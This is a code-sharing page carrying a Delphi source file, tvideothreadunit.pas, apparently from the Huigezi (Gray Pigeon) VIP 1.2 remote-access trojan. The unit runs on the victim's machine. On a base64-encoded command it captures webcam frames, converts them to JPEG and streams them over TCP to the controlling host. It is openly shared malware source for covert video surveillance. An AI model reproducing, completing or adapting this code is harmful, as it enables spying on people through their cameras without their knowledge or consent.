⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tvideothreadunit.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit TVideoThreadUnit;

interface

uses
  Windows,Classes,IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64,jpeg;


type
  TVideoThread = class(TThread)
  private
    SysThread:TIdTCPClient;

  protected

    procedure Execute; override;
  Public
    constructor Create(AThread:TIdTCPClient);
    destructor Destroy; override;
  end;

implementation
uses MainServer;

constructor TVideoThread.Create(AThread:TIdTCPClient);
begin
   inherited Create(True);
   SysThread:=AThread;
   FreeOnTerminate:=True;
   VideoOver:=True;
   Suspended := false;
   Priority:=tpIdle;
end;


procedure TVideoThread.Execute;
var
MyStream:tmemorystream;
Request:String;
jjpg:tjpegimage;
begin
   if H_GZVIP2004.ConRpcport(SysThread) then
     begin
       try
         Request:='006';
         Request:=EncodeBase64(Request);
         SysThread.Write(Request+EOL);
       except
         SysThread.Disconnect;
         exit;
       end;
           //循环接收语音
         MyStream:=tmemorystream.Create;
         repeat
           try
             jjpg:=tjpegimage.Create;
             jjpg.CompressionQuality :=60;
             jjpg.Assign(H_GZVIP2004.Bitmap); //将图象转成JPG格式
             jjpg.SaveToStream(MyStream);
             MyStream.Position :=0;
             jjpg.Free;
             if MyStream.Size>0 then
              begin
                SysThread.WriteInteger(MyStream.Size);
                SysThread.WriteStream(MyStream);
                MyStream.Clear;
              end;
             //Sleep(10);
             Request:=SysThread.ReadLn(EOL);
             if Request<>'1' then Break; 
           except
             SysThread.Disconnect;
             exit;
           end;
         until (Terminated) or (SysThread.Connected=False);
       H_GZVIP2004.VideoCap1.DriverIndex:=-1;
       H_GZVIP2004.VideoCap1.DriverOpen:=False;
       H_GZVIP2004.VideoCap1.VideoPreview:=False;
       H_GZVIP2004.VideoCap1.StopCapture;
    end;
    SysThread.Disconnect;
end;

destructor TVideoThread.Destroy;
begin
  VideoOver:=False;
  inherited destroy;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -